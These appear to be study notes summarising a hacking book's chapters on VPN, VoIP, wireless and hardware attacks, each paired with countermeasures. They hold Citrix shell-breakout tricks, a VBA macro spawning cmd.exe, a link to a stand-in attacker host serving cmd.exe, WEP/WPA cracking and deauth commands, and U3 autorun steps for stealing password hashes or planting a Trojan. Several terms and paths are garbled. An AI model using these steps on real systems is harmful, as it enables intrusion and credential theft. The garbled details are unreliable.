- **nmap:** *nmap –sU –p 500 vpn.elec0ne.com.* Tells us if the host is listening.
- **ike-scan:** *./ike-scan vpn.elec0ne.com* is more IPSec-focused. It Identifies if the host is listening, the IKE Phase 1 mode and remote server hardware.
- **IKEProber:** It allows an attacker to create arbitrary IKE initiator packets for testing different responses fromthe target host.

Countermeasures:
Cannot do much to prevent the attack. Just ACL can be used to restrict access to VPN gateways (works only for site-to-site).

2.6.5 Attacking IKE Aggressive Mode

Recall: IKE Aggressive mode compromises security when allowing for the speedy creation of new IPSec tunnels. First, identify whether target server supports aggressive mode with **IKEProbe**. Then, with **IKECrack** or **Cain** we can initiate connection to the target VPN server and capture authentication messages to perform offline brute-force attack.
Countermeasures:

- Do not use IKE Aggressive Mode.
- Alternatively use token-based authentication scheme because after the key is cracked it will be impossible to use it since it changed by the time the attacker breaks it.

2.6.6 Hacking the Citrix VPN Solution

Famous client-to-site VPN solution provides access to remote desktops and applications. Most common types of Citrix deployments:

- A full-fledged remote desktop, typically Microsoft Windows. It provide access to most, if not all, of the resources of an internal workstation. Administrators may remove some of the options from the Start menu or disable right-click. These are steps in the right direction, but they may not be enough.

- Commercial off-the-shelf (COTS) application. Organization PRO: cuts down on software licensing fees and administration costs (i.e. Word, Excel, Calculator and Internet Explorer).
- Custom application. Organizations that tend to deploy custom applications through a Citrix usually do so because their applications are sensitive (typically have direct access to sensitive data and other resources within the corporate network) in nature and need to be accessed from"within"the network.

The catalyst for a complex and serious attack is gaining access to Windows Explorer (explorer.exe) or a command prompt of some sort (standard cmd.exe, PowerShell, orequivalent). Targeting Windows Explorer can give an attacker access to a command prompt. However, it can also be used for file-system browsing and copying large amounts of data from a later-compromised machine back to your local host. Ten most popular categories for attacking published application:

1. **Help**. Any time you are able to access Windows Help certain search terms help spawn a shell. For example, within Windows Help, see what happens when you search for the phrase "Open a Command Prompt Window".
2. **Microsoft Office**. Very common COTS. Ways to spawn shell:
   - Help.
   - Printing.
   - Hyperlinks.
   - Savings.
   - Visual Basic For Applications (V. Someforward-thinking administrators removethe address barasasecurity featureBA) macros. This feature is generally used for repetitious actions performed within a document however they have the power to make system calls using the Windows API.
     Sub getCMD()
     Shell "cmd.exe /c cmd.exe"
     End Sub .
3. **Internet Explorer**.
   - Help.
   - Printing.
   - Internet Access.
   - Text editors.
   - Saving.

- Local file exploration. Internet Explorer can be used in a similar fashion to Windows Explorer in that the address bar can be used as a local or remote file navigation bar. If the administrator has not removed the address bar, try entering: c:\windows\system32.exe.
  Some forward-thinking administrators remove the address bar as a security feature. IE shortcuts may help to gain additional functionality (i.e. F1 for Help and CTRL+P for printing).

4. **Microsoft Games and Calculator**.

   - Help.
   - About Calculator.

5. **Task Manager**. In order to get Task Manager the shortcut is CTRL-SHIFT-ESC. In task manager: File, New Task, and enter
   %systemroot%\system32\cmd.exe.

6. **Printing**. CTRL+P to open the Print dialog. Unfortunately, the printer can also allow access to the file system and is also possible to reach the Windows Help.

7. **Hyperlinks**. Microsoft Office and Wordpad permits to create hyperlinks. Example of hyperlink for spawning a shell:
   file:///c:/windows/system32/cmd.exe

8. **Internet Access**. An attacker could create a page on the Internet with a hyperlink on it that points to a local command prompt. Example:
   www.AttackerControlledSite.com/cmd.exe. Alternatively it could use a file drop website like filedropper.com. This will download the cmd.exe on the remote machine and simply clicks Run and a shell is born.

9. **EULAs/Text Editors**. If the EULA is spawned within Notepad, WordPad or some other text editor, an attacker may be able to gain shell access in the following ways (EULA is a .txt file so it will be opened within the notepad/wordpad):

   - Help.
   - Printing.
   - Clicking hyperlinks.
   - Saving.

10. **Save As/File System Access**. Save As function pop-up the window similar to a Windows Explorer window. Methods for obtaining a command shell:

    - **Navigate to the Binary**. system32\cmd.exe.

- **Create a Shortcut (.lnk)**. Create a new shortcut to cmd.exe.
- **Create a web shortcut (.url)**. The URL linked to cmd.exe.

Countermeasures:

- If the remote Citrix host resides in the internal network and an attacker is able to gain access to a shell, the attacker now has shell access to the internal network. Place Citrix instance into segmented, monitored and limited environment;
- Url whitelist.
- Multifactor authentication.
- Hire experts and/or conduct your own assessments.

2.7 Voice Over IP Attacks

Voice over IP (VoIP) is a very generic term that is used to describe the transport of voice on top of an IP network. Most VoIP solutions rely on multiple protocols, at least **one for signaling** and **one for transport** of the encoded voice traffic. Most common open signaling protocols are: **H.323 and SIP (TCP/UDP 5060)** and their role is to **manage call setup, modification and closing**. SIP is similar in style to the HTTP protocol, and it implements different methods and response codes for session establishment and teardown. **The Real-time Transport Protocol (RTP) transports the encoded voice traffic**. The accompanying **Real-Time Control Protocol(RTCP) provides call statistics** (delay, packet loss, jitter,and so on) and control information for the RTP flow. It is mainly **used to monitor data distribution and adjust quality of service(QoS) parameters**. Difference between RTP and PBX: the RTP stream doesn't have to cross any voice infrastructure device and it is exchanged directly between the endpoints.

2.7.1 Attacking VoIP

In order to use VoIP a large number of interfaces and protocols needs to be exposed.

SIP Scanning Discovery process with SiVuS tool. It permits to perform SIP scanning with a GUI for Linux and Windows. CLI tool for SIP scanning: **SIPVicious**. Countermeasures: network segmentation between VoIP network and user access segment.

Pillaging TFTP for VoIP Treasures During the boot process, many SIP phones rely on a TFTP[16] server to retrieve their configuration settings. First we locate the TFTP server with nmap:

[16] Similar to FTP but does not allow you to list, delete, rename or change directories.TFTP has no security.

nmap –sU –p 69 192.168.1.1/24

Then, attempt to guess the configuration file's name with TFTPbrute.pl using dictionary. These configuration files can contain a wealth of information such as usernames and passwords for administrative functionality. Countermeasures:
Configure the TFTP server to accept connections only from known static IP addresses assigned to VoIP phones.

Enumerating VoIP Users Traditional manual and automated wardialing methods to enumerate VoIP users. Also we can observe servers' responses since SIP is a human-readable protocol. Valid User SIP REGISTER: server respond with 401 Unauthorized and we retrieve the user-agent that gives us the type of server running on the SIP gateway. Invalid User SIP REGISTER: server respond with 403 Forbidden and also here we retrieve the user-agent. We can perform user enumeration building a list of valid guesses (only 401 responses). SIP EXpress Router OPTIONS User Enumeration is similar as SIP REGISTER method since with OPTIONS and valid user the server answer with 200 OK otherwise it will reply with 404 NOT FOUND.

Automated User Enumeration SIPVicious with svwar.py tool uses renumeration technique such as OPTIONS, REGISTER and INVITE. Also SiVuS, SIPScan and Sipsak are used for SIP enumeration.

VoIPEnumerationCountermeasures Segmenting VoIP and user networks; deploy IDS/IPS systems in strategic areas to detect and prevent these attacks.

2.7.2 Interception Attack

First, intercept the signaling protocol (SIP, SKINNY, UNIStim) and media RTP stream between the caller and the called person. To circumvent the switches, that are more used instead of hubs, we can use ARP Spoofing.

1. On the interception server, you should first turn on routing, allow the traffic, turn off ICMP redirects, and then reincrement the TTL using iptables.

2. At this point, after using dsniff's arpspoof or arp-sk to corrupt the client's ARP cache, you should be able to access the VoIP data stream using a sniffer (tcpdump or Wireshark).

3. Once you have identified the RTP stream, you need to identify the codec that has been used to encode the voice this information is in the Payload Type (PT) field in the UDP stream or in the Media Format field in the SIP.

4. A tool such as **vomit**enables you to convert theconversation from G.711 voice codec to WAV based on a tcpdump output file. Similar tool is **scapy** and it sniff the live traffic.

GUI and all-in-one interception and voice capture tools is UCSniff. It has two main main modes: Monitor (passive sniffer) and MiTM.

Interception Countermeasures

- Encryption is available in Secure RTP (SRTP), Transport Layer Security (TLS) and Multimedia Internet Keying (MIKEY).
- Firewalls can and should be deployed to protect the VoIP infrastructure core. Make sure it handles the protocols at the application layer. A stateful firewall isn't often enough because the needed information is carried in different protocols' header or payload data.
- The phones should only download signed configurations and firmware, and they should also use TLS to identify the servers,and vice versa.

2.8 Offline Attacks

Intercepting IP phone communications can be used for offline analysis and attacks. Wireshark offers RTP dissectors that you can use to extract call information from packet capture data. The Cisco signaling protocol SKINNY, which is responsible for call setup and management, can also be dissected in Wireshark (i.e. the numbers dialed by a user can be obtained). SIPdump and SIPcrack can be used to dump the authentication packet and to perform offline brute-force attack. Another interception approach uses a fake DHCP server. You can then give the phone your IP as the default gateway and at least get one side of the communication.

2.9 Denial of Service

DoS the infrastructure by sending alarge number of fake call setups signaling traffic (SIP INVITE), or a single phone by flooding it with unwanted traffic(unicast or multicast). Tool: Inviteflood (requires hack_library), uses SIP INVITE technique.

SIP INVITE Flood Countermeasures

- Ensure network segmentation between the voice and data VLANs.
- Ensure authentication and encryption are enabled for all SIP communication on the network.

- IDS/IPS systems are in place to detect and thwart[17] the attack.

[17] Contrastare.

3 Chapter 8: Wireless Hacking

3.1 Background

802.11 is a standard released by the Institute of Electrical and Electronics Engineers (IEEE). The 802 portion refers to the categorization of standards that cover all local area networks, while the .11 speaks specifically to wireless local area networks.

3.2 Frequencies and Channels

Since the radio spectrum is a fixed size, the government regulates who and what can occupy the airwaves. Each country may have different regulations in place. The parts of the radio spectrum that are allocated **for general use** are called the **industrial, scientific, and medical (ISM) radio bands**. ISM are used by microwaves, cordless phones, garage door openers,and Bluetooth peripherals... **802.11 can operate in either the 2.4-GHz or the 5- GHz ISM bands**.

- 802.11a operate within the 5 GHz band.
- 802.11b/g operate within the 2.4 GHz band.
- 802.11n is not band specific; thus, an 802.11n device should define the band it is able to operate in.

A dual band device supports both the frequencies.
To enable more effective use of the radio spectrum, 802.11 divides itself up into sections called channels.

- 2.4-GHz spectrum are numbered consecutively from 1–14. Neighboring channels in the 2.4-GHz range overlap, which means if one device is transmitting on channel 1 while another device is transmitting on channel 2, the two will interfere with each other. The channels 1-6-11 do not interfere each other as they are *nonoverlapping* channels.
- 5-GHz spectrum are numbered non consecutively from 36–165. All channels are nonoverlapping.

3.3 Session Establishment

Two primary types of wireless networks are available: Infrastructure and ad hoc.

- **Infrastructure** require an access point to relay communication between clients and to serve as a bridge between the wireless and wired networks.
- **Ad hoc** operate in a peer-to-peer fashion without the use of an access point.

We will focus on Infrastructure network. To communicate, a client must first establish a session with the access point serving the wireless network:

1. **probe request**. Client needs to identify if the wireless network is present (data link layer perspective). It sends a broadcast message, the probe request, asking for the network to identify itself. It addresses the network using a friendly name that is called a **Service Set Identifier**, or **SSID**.

2. **probe response.It repeats this request on every channel**, looking for a **probe response**.

3. **authentication request**. Once the client has determined that the access point is nearby, it continues to establish the session by sending an **authentication request**. Here the AP can:

    (a) accept any connection, which is referred to as **open authentication**.

    (b) performs a challenge-response, which is called **shared key authentication** (WEP Network). Almost never used.

    WPA security mechanisms have no effect on authentication, they take effect later. If a network is configured to use encryption and open authentication, the access point allows anyone to establish a connection, but as soon as the client sends a data frame that is not encrypted, or incorrectly encrypted, the access point destroys the connection.

4. **association request/response**. The final step in establishing a session. The **client sends** out an **association request** and the **access point sends** out an **association response**, which means the access point is keeping track of that wireless client. At this point, the client may or may not be able to communicate on the network, depending on the level of security required by the access point.

3.4 Basic Security Mechanism

- **MAC Filtering**. AP can check the client mac during the authentication phase. If the client MAC does not match an address in a pre-configured list the AP denies the connection.

- **”Hidden” wireless networks**. APs send out at announcements called *beacons* at regular intervals. The beacon include the AP’s SSID. AP can be configured **to omit the SSID from these beacons**. Microsoft recommends announcing your SSID because Vista and later versions of Windows look for beacons before connecting. This makes client more secure, because it is not continuously sending out probe requests, opening up to **AP impersonation attacks**.

- **Responding to broadcast probe requests**. Client can send broadcast probe requests that do **not contain an SSID to discover nearby wireless network**. **APs can be configured to ignore broadcast** probe requests

3.5 Authentication

The purpose of authentication is not only to establish the identity of the client, but also to produce a session key that feeds into the encryption process. Both the authentication and the encryption occur at Layer 2 of the OSI model. IEEE 802.11i specifies encryption standards. In its draft mode:

- ***WPA (Wi-Fi Protected Access)*** indicates that a device is certified to support at least **Temporal Key Integrity Protocol (TKIP)**.
- ***WPA2*** indicates that a device is certified to support both **TKIP** and **Advanced Encryption Standard (AES)**.

Over time, it became commonplace to use WPA to refer to all of the security mechanisms defined within 802.11i.
WPA comes in two forms:

- **WPA Pre-Shared Key (WPA-PSK)**. A pre-shared key is used as an input to a cryptographic function that derives encryption keys used to protect the session. This pre-shared key is known by the access point and all clients on the wireless network. PSK can be beteen 8 and 63 ASCII characters.
- **WPA Enterprise**. WPA Enterprise leverages IEEE 802.1x, a standard that was originally applied to traditional wired networks for things like switch port authentication. The AP relays authentication traffic between the wireless client and a wired-side RADIUS server. 802.1x details the use of the **extensible authentication protocol (EAP)** which facilitates a wide range of authentication mechanisms such as EAP-TTLS, PEAP,and EAP-FAST. WPA Enterprise gives companies the ability to leverage an authentication mechanism that works best in their environment. Attackers cannot get the network key from clients. When users try to connect to Wi-Fi, they need to present their enterprise login credentials.

In both WPA-PSK and WPA Enterprise, the client and AP perform *four-way handshake* to establish:

1. **pairwise transient key (PSK)** for unicast communication.
2. **group temporal key (GTK)** for multicast and broadcast communication.

3.6 Encryption

Within 802.11 Encryption takes place between the access point and the client at Layer 2. Addressing information (source/destination MAC address) and management frames (probes, beacons,etc.. . .) are not encrypted. For data destined to a wired side host from a wireless client, the data is decrypted at the access point and sent over the wire unencrypted. Three available encryption options:

1. **Wired Equivalent Privacy (WEP)**. Predecessor to WPA, it does not have a required authentication phase. Widely exploited.

2. **Temporal Key Integrity Protocol (TKIP)**. Was meant as a quick replacement for WEP. It's based on the Rivest Cipher 4 (RC4), just as WEP is. TKIP doesn't have any additional hardware requirements, so the intention was for hardware manufacturers to issue firmware upgrades so older hardware that used WEP could then support TKIP.

3. **Advanced Encryption Standard – Counter Mode with Cipher Block Chaining Message Authentication Code Protocol (AES-CCMP)**. It is not vulnerable to many of TKIP's potential flaws and is there commended encryption.

3.7 Equipment

Wireless Adapter The wireless adapter you choose will likely be one of the most important parts of your wireless toolkit. The one you pick has to meet a couple of requirements for you to be able to perform all wireless attacks:

- **Chipset**. To launch some of the more sophisticated wireless attacks, you need to get a low level of control over your wireless adapter. In mostcases, the manufacturer's chipset driver does not allow this level of control out of the box, so a customized driver has to be written. (Reccomended chipset are: Atheros and Ralink).

- **Band Support**. It's important to have an adapter that can support both 2.4 GHz and 5 GHz.

- **Antenna Support**. External antenna for wireless adapter permits to perform long-range attacks.

- **Interface**. PCMCIA adapters arethe most common, but newer laptops have been shipping without PCMCIA slots. Alternatively Express Card or USB adapters.

Operating Systems the ideal is BackTrack Linux (nowadays is Kali) distribution: preinstalled with all tools and drivers for all popular wireless adapters; run on VM (the host operating system remains unaffected), launch from a LiveCD on USB.

Antennas Antennas are classified into three types in terms of direction:

1. **Directional antennas** are used when communicating or targeting specific areas. Are the most effective in long-range packet (focused in one direction).
2. **Multidirectional antennas** antennas aresimilar to directional antennas in the sense that both use highly concentrated and focused antennas for their transceivers. Multidirectional antennas are bidirectional or quad-directional. Their range is usually a bit smaller when compared to equally powered, unidirectional antennas because the power must be used in more than one direction.
3. **Omindirectional** is the most effective antenna in cities because it transmits and receives signals from all directions. Best choice for practical purposes.

The wireless term gain describes the energy of a directionally focused antenna. A patch or panel antenna has a large focus that is directly relational to the size of the panel. It appears to be a flat surface and focuses its gain in one general direction. A dish[18] is another type of antenna that can be used, but it's only good for devices that need to transmit in one general direction because the back of the dish is not ideal for transmitting or receiving signals.

GPS Used in conjunctionwith a wirelessadapterand wireless discovery software, these devices can be used to plot.

Access Point Through software, you can turn your wireless adapter into an access point, but sometimes an AP makes it easier to do your dirty work.

3.8 Discovery and Monitoring

Discovery tools use 802.11 management frames (Probe request/ response and beacons) to identify the nearby wireless networks. Source and destination addresses of an 802.11 frame is always unencrypted so tools can map associations between clients and APs.

3.8.1 Finding Wireless Networks

Active Discovery The tool would send out broadcast probe requests and note down any access points that would respond. Many APs were configured to ignore these sorts of requests and so the tool would never notice these APs.

[18] ITA: parabola.

Countermeasuers: An easy solution is to simply disable probe response to broadcast probe request.

Passive Discovery Passive discovery simply listens on each channel and collects any data it sees. How it works in order to gain the AP informations:

1. **BSSID - Unknown SSID**. An access point may be configured to not announce its SSID in beacons, or respond to broadcast probe requests, a passive discovery tool will list the BSSID (MAC address of the AP) found within the AP's beacons and mark the SSID as unknown.
2. **SSID fill**. For a client to join a wireless network, it must provide the SSID; so when the passive discovery tool sees clients connect it will also record the SSID near to the previous BSSID.

Discovery Tools The term war-driving describes the process of driving around a neighborhood and searching for available access points. A number of discovery tools have come and gone throughout the years, but the two that seem to remain constant are Linux tools: **Kismet** and **airodump-ng**.

- **Kismet.** Is a wireless discovery tool. It supports GPS tracking, a variety of different output formats, and can even be deployed in a distributed fashion to gain coverage across a large area. (GUI Linux solution).
- **airodump-ng**. Most famous wireless hacking toolset is theaircrack-ng suite. Part of the aircrack-ng suite is a wireless discovery tool called airodump-ng. airodump-ng is a good alternative to Kismet when you're looking fora quick, simple-to-use tool that you only need for a short time. It requires that the wireless adapter is set to "**Monitor Mode**" which allows the tool to **view all wireless traffic and inject malformed frames into the air**. Using the airmon-ng script, we can create a new monitor mode interface:

  ```
  root@root:   airmon-ng start wlan0
  ```

  Now we can launch airodump and look for wireless APs and clients on the 2.4 Ghz hopping through each channel.

  ```
  root@root:   airodump-ng mon0
  ```

Protecting Yourself from Passive Discovery

- Containing your wireless signals through the use of shielding on externally facing windows and walls.
- Limiting exposure by decreasing the power output of your access points.

3.9 Sniffing Wireless Traffic

Many wireless networks are completely unencrypted. Sometimes this is because it is too difficult to provide 802.11 authentication information to all users. Additionally, without encryption, positioning to conduct a man-in-the-middle attack is extremely simple. Note that sniffing wireless traffic may violate the laws. Both airodump-ng and Kismet have the ability to save data to a PCAP file, which you can view later on **Wireshark**.

3.9.1 Wireshark

It'sa packet analysis tool that can be used for nearly any protocol. We can use it within Windows with a specific wireless adapter, AirPcap. The product is a USB device that listens passively to the air and captures 802.11 packet.

3.9.2 Wireless Sniffing Countermeasures

- Implement an 802.11 layer encryption (e.g., WPA-PSK, WPAEnterprise).
- Establishing a VPN (with split tunneling disabled) can protect all traffic,even if you're on an open wireless network.

3.10 Denial Of Service Attacks

The 802.11 standard actually includes a couple of built-in denial of service(DoS) attacks. There are a number of reasons why an access point may need to force a client to disconnect (incorrect encryption keys, overloading, etc...). Why do we need "unexpected"DoS attacks when we havea builtin mechanism to accomplish the same task?

3.10.1 De-authentication Attack

The de-authentication (or deauth) attack **spoofs de-authentication frames** from the client to the AP, and vice versa, **to instruct the client that the AP wants it to disconnect and to instruct the AP that the client wants to disconnect**. Sending more than one frame is useful, as no requirement is defined in the 802.11 standard as to when the client will attempt to reconnect. So client drivers often try to reconnect very quickly.

airplay-ng is a tool within the aircrack-ng suite that permits to perform de-authentication attack. Its deauthentication method is pretty aggressive, sending out a total of 128 frames for every deauth you define(64 to the AP from the client and 64 to client from the AP). An attacker can use the de-authentication attack to **reveal the SSID of a"hidden"wireless network by observing the client's probe requests as it reconnects**.

Countermeasures create custom drivers in which the client's wireless adapter disconnects if it sees a de-authentication frame and quickly reconnects to a completely different company access point.

3.11 Encryption Attacks

- **WPA** the encryption mechanism is dependent on the authentication phase. So if there is a flaw within TKIP or AES-CCMP, an attacker would have the ability to decrypt data or encrypt data impersonating another user. Since **encryption keys rotate** in a WPA network, the ability to perform these actions is only available until the key rotates. Crack again and again.
- **WEP** there is **no real authentication phase**, **nor is there a key rotation** so once you crack the key, you can join the network as a valid user, decrypt any ordinary user's data, and inject forged data as any existing user. Crack once and for all.

3.11.1 Attacking WEP

The encryption mechanism requires:

1. **WEP key**.
2. **Initialization Vector (IV)** that is a pseudor-andom generated value for each frame and is added to the end of the 802.11 header of that frame.

The IV and WEP key are used to create a **keystream**, which is what is actually used to **turn the plaintext data into cipher text**.

- **Encrypt**: XOR plain text with keystream.
- **Decrypt**: the receiving side uses the WEP key it has, pulls out the IV from the frame it received, and then uses its WEP key and the IV to generate its own keystream. This keystream is then used on the cipher text to create the plain text.

At 24 bits, this IV is a fairly short value, which can result in duplicate IVs on a network. When a duplicate is identified, the cipher text of two frames can be compared and used to guess the keystream that created the cipher text and guess the WEP key. Because some frames vary very little(e.g., ARP packets), you can guess the content of the frame and also more frames you collect more easier will be to guess the keystream and WEP key. With a valid keystream,an attacker can decrypt any frames encrypted with the same IV and inject new frames. In short: cracking WEP relies on gathering a large amount of data (IVs or specific types of frames).

3.11.2 Passive Attack

To launch the attack, use any 802.11 packet capturing tool, and collect a lot of data frames (upward to 1GB). 60000 IVs are needed to crack a 104bit key.

1. With **airodump-ng** we can caputre the traffic into a PCAP file.
2. **aircrack-ng** requires a PCAP file (1) as input and will automatically reload the file to get more data as it performs its analysis. It will stops its execution with the message "KEY FOUND".

3.11.3 ARP Replay with Fake Authentication

1. Inspect wireless traffic and identify potential valid broadcast ARP frames based on their destination (FF:FF:FF:FF:FF:FF) and size(length of 86 or 68 bytes).
2. Change the addressing information and the replays them multiple times tot the AP.
3. When the AP sees the data, it decrypts it (the first frame was valid traffic), process the ARP frame which tells the AP to broadcast it out all the interfaces.
4. The AP encrypts the broadcast ARP frame with a new IV and sends it out.

Repeating this process with the initial ARP frame permits to generate a tons of new IVs.
Note that the ARP requests that are sent to the AP must originate from a valid wireless client. This attack either requires the attacker to spoof the valid client's MAC address or establish a false connection with the AP (*false authentication attack*). The AP may be configured for "open authentication," which means a client can establish a connection with the AP, but if encryption is being used, the AP must be able to decrypt the client's traffic properly or the client will be booted. **The fake authentication attack establishes the connection to the AP, but never sends actual data**.
Steps to follow in order to perform this attack:

1. **airodump-ng**: capture to a PCAP file (monitor mode).

2. **aireplay-ng**: run **fake authentication attack**. (set keep alive message, BSSID and our MAC and as usual the mon0 interface)

3. **aireplay-ng**: in a new windows we lunch the **arp replay attack**.

4. **aircrack-ng**: crack on the captured PCAP file.

Countermeasures

- If your network is running WEP, you should immediately disable it.
- Never use WEP.

3.12 Authentication Attacks

3.12.1 WPA Pre-Shared Key

An attacker observing the four-way handshake can then launch an offline brute-force attack against it to figure out the pre-shared key but brute forcing these keys can be a daunting task. The PSK is hashed 4,096 times, can be up to 63 characters long, and the SSID of the network is actually used as part of the hashing process. Computational time required: 100 times the estimated age of the universe.

3.12.2 Obtaining the Four-Way Handshake

The handshake happens every time a client connects to a wireless network. First we need to turn on the packet capturing tool, save the output into a pcap file and than we have two possible methods to capture a four-way handshake:

1. Waiting passively.
2. Use de-authentication attack on a client. The client will try to reconnect to the AP.

Brute Forcing With the four-way handshake in hand, you're ready to launch an offline brute-force attack. Many of the tools only offer dictionary attacks; this is because the keyspace is so large that one lifetime is not enough. (tool: aircrack-ng with dictionary and pcap).

Rainbow Tables Rainbow tables contain precomputed hashes for a particular algorithm type. The longest and most processor-intensive portion of the offline brute-force attack is when the hash is created from a string before it will be compared with the original hash. Rainbow tables are essentially lists of hashes and corresponding passwords that you or someone else has already computed. Rainbow tables eliminate the hash creation process. Rainbow table disadvantages:

1. Require a lot of disk space because they contain so many different hashes and passwords.
2. Are usually only comprised of strings based on dictionary words since WPA-PSK keyspace is huge.
3. SSID is used as part of the hash. If the SSID is semi-unique the chances of a rainbow table being available for that specific SSID is extremely rare.

Tool: **coWPAtty** is an alternative to aircrack-ng it supports creating and using rainbow tables. It uses the top 1000 SSIDs from WiGLE.net. They're about 40GB in size.

GPU Cracking By offloading the hash creation process to the Graphical Processing Unit (GPU), we can increase our cracking speeds. Tool for GPU Cracking: **pyrit**.

Countermeasures

- Complex PSK and unique SSID.
- The PSK could be disclosed by a single user, ensure it is used in environments where all necessary precautions are taken.

3.12.3 WPA Enterprise

WPA Enterprises uses 802.1x this means attacking the specific EAP (Extensible Authentication Protocol).

Identifying EAP types Observing the communication between the client and the AP during the initial EAP handshake. We can capture the EAP handshake in essentially the same way that we captured the four-way handsake when we targeted WPA-PSK. Once we have the handshake, we'll analyze it using a standard packet capturing tool to figure out the network client. e.g. Wireshark "eap" filter.

LEAP (Lightweight Extensible Authentication Protocol) Is a proprietary protocol from Cisco Systems developed in 2000 to address the security weaknesses common in WEP. LEAP takes an MSCHAPv2 (Microsoft Challenge Handshake Authentication Protocol version 2) challenge and response and transmits them in the clear over the wireless network. MS-

- LEAP is fundamentally weak because it provides zero resistance to offline dictionary attacks.
- MSCHAPv2 does not use a SALT in its NT hashes and uses a weak 2 byte DES key.

In just about any scenario where an attacker can observe a challenge and also the response, you have the potential for an offline brute-force attack. **asleap** is a tool that attacks the challeng eand response within the EAP handshake performed on a wireless network using LEAP.

Protecting LEAP LEAP can be secure with an extremely complex password. Otherwise use EAP-TTLS or PEAP.

EAP-TTLS and PEAP EAP-TTLS and PEAP both use a TLS tunnel to protect a less secure inner authenticated protocol. The inner protocols could be:

1. MS-CHAPv2
2. EAP-GTC (one-time passwords)
3. PAP - Cleartext (Because there is an implied level of security within this tunnel due to the security provided by TLS)

An attacker's goal is to gain access somehow to this tunnel and the inner authentication protocol data within it. There are no known way to defeat the encryption but:

- AP impersonation can work. Misconfigured clients won't validate the identity of the RADIUS server so it can be spoofed
- MITM attack.

Tool: **FreeRADIUS-WPE + hostpad**. it is a modified version of the open source RADIUS server that logs inner authentication protocol data. The first thing you need to do is configure an access point with the same SSID as the target network and direct it to the system FreeRADIUS-WPE is running on. **hostpad** turns your network card into an AP so you can have the FreeRADIUS-WPE server running on the same system as the AP. From logs we can retrieve PAP cleartext passwords, EAP-GTC one-time-password and finally MS-CHAPv2 challenge response that can be cracked inside asleap.

EAP-TTLS and PEAP Countermeasures Be sure to validate the server certificate on all wireless clients connecting with EAP-TTLS and PEAP (Check the box to validate server certificate on all clients). An attacker won't be able to terminate the TLS tunnel.

4 Hacking Hardware

4.1 Physical Access: Getting In The Door

Attacking hardware devices requires physical access to the device. Access control mechanism utilized today: the locked door.

4.1.1 Lock Bumping

Allows an attacker to use a single key to open nearly any lock of the same type. A standard key pushes the pins into the correct alignment and then the user turns the key. A specially constructed key called a **bump key** has teeth that sit below the key pins. When a bump key is inserted into any standard lock, and then struck (or "bumped"), each of the tips on the bump key transfers the force to the key pins causing them to "bump" into place temporarily for just a fraction of a second. This window of alignment is enough to allow the lock to turn.

Countermeasures

- Medeco and Assa Abloy are providers of locks that have been known to be bump key resistant.
- Don't rely solely on locks: use two-factor authentication (Fingerprint, PIN keypad).

4.1.2 Cloning Access Cards: Magstripe Cards

Two type of access cards: **magnetic stripe** and **RFID**. Most magstripe cards conform to ISO standards 7810, 7811 and 7813 which define three tracks of data commonly referred to as tracks 1, 2, and 3. The majority of magstripe cards contain no security measures to protect the data stored on the card and encode the data on the card in the clear. Tool: **Magstripe Card Reader/Writer** allows to read, write,and clone access cards.

- **Read**: Many times doing a quick analysis of the data is enough to predict how to create a cloned card. Reading multiple cards of the same type allows us to detect the different bits and predict what the next or previous card's value might be based on this difference.
- **Write:** If there is a checksum, you'll have to determine what checksum is being used and then recalculate a new one before the card can be used.

4.1.3 Cloning Access Cards: RFID

RFID cards use radio signals instead of magnetism. Most RFID systems operate on one of two different spectrums: 135 kHz or 13.56 MHz. Just like magnetic stripe cards, many RFID cards are unprotected and can be as easily cloned for reuse for entry into systems. More and more RFID cards are starting to employ custom cryptography and other security measures to help mitigate these risks. Tools:

- **openpcd.org**: preassembled devices and kits for read and clone.
- **proxmark3** has an on board FPGA built in to allow for the decoding of different RFID protocols (Advanced tool: custom assembled by the user)
- **Universal Software waves Radio Peripheral (USRP)** to intercept the RFID traffic. (Advanced tool: the decoding software has to be written per protocol)

4.1.4 Countermeasures for Cloning Access Cards

- Before: Card vendor want to lower their costs RFID technology as inexpensive as possible, thus proper security and cryptography are not accounted for.
- Now: Fully cryptographic challenge-response algorithm to prevent cloning.

  1. RFID Card receive challenge when energized.
  2. RFID send reply based on local private key to reader.
  3. Reader validates the response before access.

  Even if the entire conversation is intercepted, the attacker cannot use the same response twice.
- Some system uses widely accepted cryptographic algorithms others implement proprietary encryption. One principles of secure design is to don't develop your own cryptographic algorithms.

4.2 Hacking Devices

4.2.1 Bypassing ATA Password Security

The ATA security mechanism requires that the user type a password before a hard disk can be accessed by the BIOS. This security feature does not encrypt or protect the contents of the drive, only access to the drive. As a result, it provides minimal security. The most common and easiest way for bypass ATA is to **hot-swap** the drive into a system with ATA security disabled. Many drives accept the ATA bus command to update the drive password without having first received the password. If the BIOS can be fooled into just sending the SECURITY SET PASSWORD command, the drive will simply accept it. Hot-swap attack steps:

1. Find a computer that is capable of setting ATA passwords and an **unlocked** drive.

2. Boot the computer with the unlocked drive and enter the BIOS interface.

3. Navigate to the BIOS menu that allows you to set a BIOS password.

4. Carefully remove the unlocked drive from the computer and insert the locked drive.

5. Set the hard-disk password using the BIOS interface. The drive will accept the new password.

6. Reboot the computer and unlock the drive with the new password.

Hot-swapping ATA drives may potentially damage the drive, the drive's filesystem and the computer.

ATA Hacking Countermeasures

- Do not rely on ATA security.

- Use instead full disk encryption (Bitlocker, TrueCrypt and SecurStar).

4.2.2 USB U3 Hack

The U3 system is a secondary partition included with USB flash drives made by SanDisk. The U3 partition is stored on the device as read only, and it often contains free software for users to try or download. The U3 partition menu is configured to execute automatically when the USB stick is inserted into certain computers. The partition **can be overwritten** using the manufacturer's tool to include a malicious program that executes in the context of the currently logged-on user. The most obvious attacks are to **read the password hashes from the local Windows password file** or **install a Trojan for remote access**. The password file can be emailed to the attacker or stored on the flash drive for offline cracking later using tools like fgdump[19]. Attack steps:

1. Create a custom autorun script to launch a command script when you insert the USB device into the computer.

2. Next, create a script to run programs, install tools, or perform other actions.

[19] Is a tool for extracting NTLM and LanMan password hashes from Windows.

   3. Once you've assembled the script and utilities, copy the files to the U3CUSTOM folder provided by the U3 device manufacturer or use a tool like Universal Customizer.

4. The final step is to write the ISO to the flash disk with the Universal$_C$*ustomizer.exe* The U3 stick is now armed and ready for use. Any computer that has autorun enabled will launch the scripts.

U3 Hack Countermeasures

- Disable autorun on the system.
- Another approach is to hold down the SHIFT key before inserting a USB stick on a per-use basis; this prevents autorun from launching the default program.
- When in doubt, never insert an untrusted device into your computer.

4.3 Default Configurations

4.3.1 Owned Out Of The Box

